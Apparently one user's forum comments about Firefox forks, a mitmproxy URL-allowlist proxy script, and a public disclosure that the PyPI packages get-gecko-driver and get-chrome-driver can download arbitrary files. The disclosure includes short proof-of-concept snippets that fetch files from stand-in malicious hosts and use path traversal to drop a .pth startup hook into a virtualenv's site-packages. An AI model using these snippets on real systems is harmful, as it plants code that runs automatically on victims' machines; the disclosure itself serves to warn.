

What was the issue with mullvad-browser that it required a fork? Did they lose it at some point?


What was the issue with mullvad-browser that it required a fork? Did they lose it at some point?


This is first time hearing about IronFox. Is it a distinct browser or just a repackaging of Firefox?


or let them slip into obsolescence.


it’s almost like firefox wants everyone to migrate over to waterfox, librewolf, or mullvad-browser


Within a docker container, mitmproxy can sit filtering network traffic by URLs, rather than IP and port. Ignore in this example only one URL is allowed.
In pyproject.toml,
[project.scripts]
webdriver_urls_filter = "mypackage.somefolder.mitmproxy_runner:main"
In mypackage.somefolder.mitmproxy_filters,
import re
from typing import TYPE_CHECKING
from mitmproxy import ctx
if TYPE_CHECKING:
from mitmproxy import http
def request(flow: "http.HTTPFlow") -> None:
"""Run this proxy.
:type flow: mitmproxy.http.HTTPFlow
"""
url = flow.request.pretty_url
# Rather than exact, interested in limiting the base URL
ALLOWED_PATTERN = re.compile(r"^https://github//.com/myorg/myrepo/releases/download/v1/.2/.3/.*$")
# Check if URL matches the allowed release pattern
try:
if ALLOWED_PATTERN.match(url):
ctx.log.info(f"Download allowed: {url}")
else:
ctx.log.error(f"Download blocked: {url}")
flow.kill()
except Exception as e:
# FAIL SECURE: If inspection fails, kill the connection to prevent bypass
ctx.log.error(f"Script error, blocking flow: {e}")
flow.kill()
In mypackage.somefolder.mitmproxy_runner,
from mitmdump import DumpMaster
from mitmproxy import options
from . import mitmproxy_filters # addon module
def main() -> None:
"""Rather than calling `mitmdump -s myscript.py`."""
opts = options.Options(listen_port=8080)
master = DumpMaster(opts)
if hasattr(mitmproxy_filters, 'addons'):
# explicit format which defines a class then appends an instance to
# :code:`addons = []`
master.addons.add(*mitmproxy_filters.addons)
else:
# Module itself acts as addon
master.addons.add(mitmproxy_filters)
master.run()
The docker container has one network proxy which has web access. Everything else has no web access instead traffic is directed thru the proxy. The proxy calls, webdriver_urls_filter.


Had to research how to go about running untrusted code safely.
In-process there are actions that can be taken to deter mock.patch, but it wouldn’t defeat a determined adversary. A subprocess isn’t a sufficient security layer although it would prevent mock.patch a module.
To deter a determined adversary, recommend to use Docker or Firecracker MicroVMs.
So glad we are having this conversation. Instead of jumping in with a fix that is not actually effective.


To get the same effect from GetGeckoDriver().install()
from unittest.mock import patch
from get_gecko_driver.get_driver import GetGeckoDriver
target_package_path = "../../../.venv/lib/Python3.11/site-packages"
# e.g. 'geckodriver/linux64/0.36.0'
remove_subfolders = "../../.."
output_path = f"{target_package_path}/somepackage/{remove_subfolders}"
url_arbritrary = "https://maliciousurl.com/_index.js"
with patch(
"get_gecko_driver.get_driver.GetGeckoDriver.version_url",
return_value=url_arbritrary,
):
get_driver.install(output_path=output_path)
The URL limiting and dest folder limiting aren’t hardcoded within get_gecko_driver.downloader.download (module level func), making it unpatchable. Instead the GetGeckoDriver is patch friendly.
Assumes all Python coders have experience writting unittest or pytest. So usage of unittest.mock.patch is common knowledge and second nature. So absolutely no one would struggle writing the above code.
To protect against patching, the base URL cannot be within get_gecko_driver.constants and then import by another module. Although not DRY, the base URL must be hardcoded minimally within get_gecko_driver.downloader.download (in the whitelist) and optionally also within get_gecko_driver.get_driver.GetGeckoDriver.install (to raise an exception with a meaningful and actionable message).


Recently on this community this article was posted exploits .pth startup hook which leads to this blog post
This requires two files: _index.js and []-setup.pth.
Can download these using either get-gecko-driver or get-chrome-driver.
>>> from get_gecko_driver import downloader
>>> url_0 = "https://malicioussite.com/_index.js"
>>> url_1 = "https://malicioussite.com/important-setup.pth"
>>> output_path = "../../.venv/lib/python3.11/site-packages/oftenusedpackage"
>>> downloader.download(url_0, output_path=output_path, file_name=None)
>>> downloader.download(url_1, output_path=output_path, file_name=None)
… the machine is part of a botnet
Installing malware is unexpected behavior from a selenium webdriver downloader. Although it’s a thin wrapper around requests, it still has to be used responsibly.


Made an issue, it magically disappeared. Admittedly in the open attempt did occur.
Would like to point to issue #5 as evidence, but it was unexpectedly removed.


These packages are selenium webdriver flavored curl.
Did not set out to be a security researcher chasing bug bounties. Was not looking to discover exploits. It just happened. Read enough packages and eventually by random chance it’s bound to happen.
After submitting an issue (admittedly in the open), have not submitted PR to fix the attack packages. Even if wanted to, PRs happen AFTER an issue is approved by the author/maintainer.
Have posted 4 issues without any response. The 5th magically disappeared. There has been no comments from the author.
Appealing to the author might not be the correct tactic. Just wondering if these are the sort of packages pypi.org takes down.
intention behind your original post? You haven’t provided a fix here, or a PR, as far as I can see you haven’t forked the project with a fix
Working on a bigger project which is on my local machine. Got to the point wanted to maximize the selenium webdrivers supported browsers. Currently writing the selenium webdriver related unit tests. Have no issue with branching off the parts dealing with selenium webdrivers and publishing that. It’s just not at that stage. And will probably refactor it again to conform to webdriver-manager standards.
While doing the testing, and while fixing the geckodriver chained downloader, went thru multiple stages of denial until realized these packages main focus is the downloader, and the installing selenium web drivers is merely window dressing.
The fixes are trivial:


Somehow, not by me, the disclosure was deleted. The issues raised have not been addressed. Way to handle it, ignore it. LOL!
So the head in sand approach it is. Or fck off it’s as-is (aka MIT licensed). Either github or the author pulled a MSFT. Unfortunately cannot tell who deleted it.
I feel vindicated. Didn’t get the impression this author can be collaborated with.


These packages aren’t intended to be curl and they shouldn’t be capable of being curl. So it’s unexpected behavior from these packages. The worst that can happen is use in ddos attacks or sabotaging a user’s files by overwriting them.
The package doesn’t alter fs permissions, but can write anywhere that has permission to do so.
Is this not enough?


Also way to go not taking the side of:
an active member of this community
someone understanding and in a position to increase browser support for selenium webdrivers
a coder who’d care and doesn’t suck at coding
So what do you get for the Captain Obvious comment besides being right? A clock is right twice a day. But no dopamine hit from a clock.
A better strategy, would be to ask about how to go about increasing selenium web driver browser support and whether a more flexible package is in the works. Not to defend a hopeless package in dire need of a rewrite. Or to provide the info i ask for about how to go about responsibly disclosing security issues.
Understand your heart is in the right place. Hope you can understand that alone isn’t the only consideration or way to look at this. You can press the issue and still come away with nothing.
rinse wash repeat and still the reflex reaction will remain the same. I’m suggesting trying something else.


Yes. That would be a fair assessment. Don’t disagree with you.
Do you think made the wrong ethical call? My position is the author isn’t a serious person who’ll:
So it’s better to inform anyone happening upon get-gecko-driver and get-chrome-driver and do it ASAP. Which i did.


Lets say wanted to responsibly disclose, for a change, these security issues. For future reference, is there a step to step guide for Python on how to do that.


Checked, no code of conduct. Good i’m in the clear.
And get-gecko-driver has 8 stars. Tried to see who starred it. Very kind people who unfortunately are anonymous. While trying to see who starred it, accidentally starred it. Luckily can unstar it, avoiding eternal shame.


Whining seems to be considered an Olympic sport in political forums. The definition of conservative is someone who does nothing. Prove me wrong.
Can tell you precisely how to deal blows to Big Tech. Rather than fight me, use your mighty keyboard and make an actual effect on the world.
Here is Python package, pybrowsers. pybrowsers detects installed web browsers. Provides the absolute path.
Currently does not support firefox derivatives, e.g. Mullvad browser and waterfox. These browsers mitigate the fingerprinting which firefox is plagued by. By adding support, encourages adoption of web browsers without the privacy defeating crap.
Write the issue here
Ronie Martinez is the author, email him!
If submitting an issue thereby taking a meaningful action will cause permanent bodily harm, you can avoid anything approaching responsibility, staying well within the virtue signalling zone, by buying him a coffee at his funding url.
Give you one day to prove you aren’t an empty suit whiny useless complainer.


The corps are having fun by making barriers limiting plebs wifi access. The Tullys page 0 of 3 html is an example of age verification presented by a captive portal.
So now your lying eyes have seen it for themselves. So you have to admit what i said is the truth and age verification is affecting people accessing wifi thru captive portal.
What on Earth are you talking about?
Because of the topic, it’s forgivable to mistake this thread for a political comment section.
At least towards this community members, recommend refraining from gaslighting. Everyone here is neither stupid nor crazy and very likely exceptionally accomplished.


Faintly heard someone say, show me the source code, so here it is. This is Tully’s coffee captive portal wifi router “Agreement page” (my terminology).
<div data-pagetype="step1" class="l-content"> <div class="l-main"> <div class="information-area"> <div class="inner"> <h2> <span>A simple 2STEP</span> process to use<br> <span>60minutes</span>of free WI-FI. </h2> <p class="hint">※Authentication page will be shown again when usable time has exceeded.</p> </div> </div> <div class="outer"> <form class="l-form inner"> <h4>Please give a response.<small>(Select)</small></h4> <div class="form-list"> <div class="form-item form-half"> <label>Birth Year</label> <div class="l-select"><div> <select class="placeholder"> <option disabled="disabled" hidden="hidden" value="select" selected="selected">Select</option> <option value="2026">2026Year</option> <option value="2025">2025Year</option> <option value="2024">2024Year</option> <option value="2023">2023Year</option> <option value="2022">2022Year</option> <option value="2021">2021Year</option> <option value="2020">2020Year</option> <option value="2019">2019Year</option> <option value="2018">2018Year</option> <option value="2017">2017Year</option> <option value="2016">2016Year</option> <option value="2015">2015Year</option> <option value="2014">2014Year</option> <option value="2013">2013Year</option> <option value="2012">2012Year</option> <option value="2011">2011Year</option> <option value="2010">2010Year</option> <option value="2009">2009Year</option> <option value="2008">2008Year</option> <option value="2007">2007Year</option> <option value="2006">2006Year</option> <option value="2005">2005Year</option> <option value="2004">2004Year</option> <option value="2003">2003Year</option> <option value="2002">2002Year</option> <option value="2001">2001Year</option> <option value="2000">2000Year</option> <option value="1999">1999Year</option> <option value="1998">1998Year</option> <option value="1997">1997Year</option> <option value="1996">1996Year</option> <option value="1995">1995Year</option> <option value="1994">1994Year</option> <option value="1993">1993Year</option> <option value="1992">1992Year</option> <option value="1991">1991Year</option> <option value="1990">1990Year</option> <option value="1989">1989Year</option> <option value="1988">1988Year</option> <option value="1987">1987Year</option> <option value="1986">1986Year</option> <option value="1985">1985Year</option> <option value="1984">1984Year</option> <option value="1983">1983Year</option> <option value="1982">1982Year</option> <option value="1981">1981Year</option> <option value="1980">1980Year</option> <option value="1979">1979Year</option> <option value="1978">1978Year</option> <option value="1977">1977Year</option> <option value="1976">1976Year</option> <option value="1975">1975Year</option> <option value="1974">1974Year</option> <option value="1973">1973Year</option> <option value="1972">1972Year</option> <option value="1971">1971Year</option> <option value="1970">1970Year</option> <option value="1969">1969Year</option> <option value="1968">1968Year</option> <option value="1967">1967Year</option> <option value="1966">1966Year</option> <option value="1965">1965Year</option> <option value="1964">1964Year</option> <option value="1963">1963Year</option> <option value="1962">1962Year</option> <option value="1961">1961Year</option> <option value="1960">1960Year</option> <option value="1959">1959Year</option> <option value="1958">1958Year</option> <option value="1957">1957Year</option> <option value="1956">1956Year</option> <option value="1955">1955Year</option> <option value="1954">1954Year</option> <option value="1953">1953Year</option> <option value="1952">1952Year</option> <option value="1951">1951Year</option> <option value="1950">1950Year</option> <option value="1949">1949Year</option> <option value="1948">1948Year</option> <option value="1947">1947Year</option> <option value="1946">1946Year</option> </select> </div> </div> </div> <div class="form-item form-half"> <label>Gender</label> <div class="l-select"> <div> <select class="placeholder"> <option disabled="disabled" hidden="hidden" value="select" selected="selected">Select</option> <option value="male">Male</option> <option value="female">Female</option> <option value="etc">N/A</option> </select> </div> </div> </div> </div> <div class="form-list"> <button type="submit"><span>Continue to proceed</span></button> </div> </form> </div>
What i’m learning about these firefox derivatives is they are just applying some patches, putting lipstick on that pig, and calling it something else. So might be time to just list the patches and compare which patches we like. Like trading baseball cards or cheering our favorite team (patch).